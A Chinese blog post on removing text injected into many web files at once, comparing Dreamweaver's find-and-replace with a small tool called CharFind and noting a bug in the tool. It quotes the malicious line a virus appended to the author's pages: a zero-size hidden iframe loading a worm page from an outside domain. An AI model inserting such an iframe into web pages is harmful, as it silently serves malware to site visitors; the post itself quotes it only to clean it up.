查找替换文件中指定字符的两种方法

众所周知Windows的“在文件中搜索指定文本”的功能仅适用于在文本文件中搜索,而在实际应用中,这往往不能满足我们的需要。上周机子中毒,发现一些htm,html,asp文件源文件中被追加了一句代码:<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>,通过追查又发现该页面分为两个框架,其中一个指向的是带马的页面!病毒清除成功了,有没有办法一次性将这些代码删掉呢?下边介绍两种方法:

一、Dreamweaver查找替换功能

    办公软件都带有查找替换功能,Dreamweaver也有,不过它却比办公软件的查找替换功能强多了:一是搜索范围可以是所选文字、当前文档、打开的文档、文件夹、站点中选定的文件和整个当前本地站点;二是可以指定关键字类型为源代码、文本、文本(高级)和指定标签中的一种。搜索界面如下图:



二、CharFind(点击下载)

    该软件大小只有五百多K,搜索范围可是整个硬盘、指定分区和文件夹,可以指定搜索的文件类型。软件界面如下图:



    发现此软件(V1.0)目前有个BUG,在进行替换时会将大写字母全部转为小写字母,而在JS脚本中是有大小之分的,被转成小写后将导致程序出错。

上一篇: Replace函数返回值
下一篇: 深入浅出SQL教程之Group by和Having
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags:
最新日志:
评论: 1 | 引用: 0 | 查看次数: 7928
发表评论
登录后再发表评论!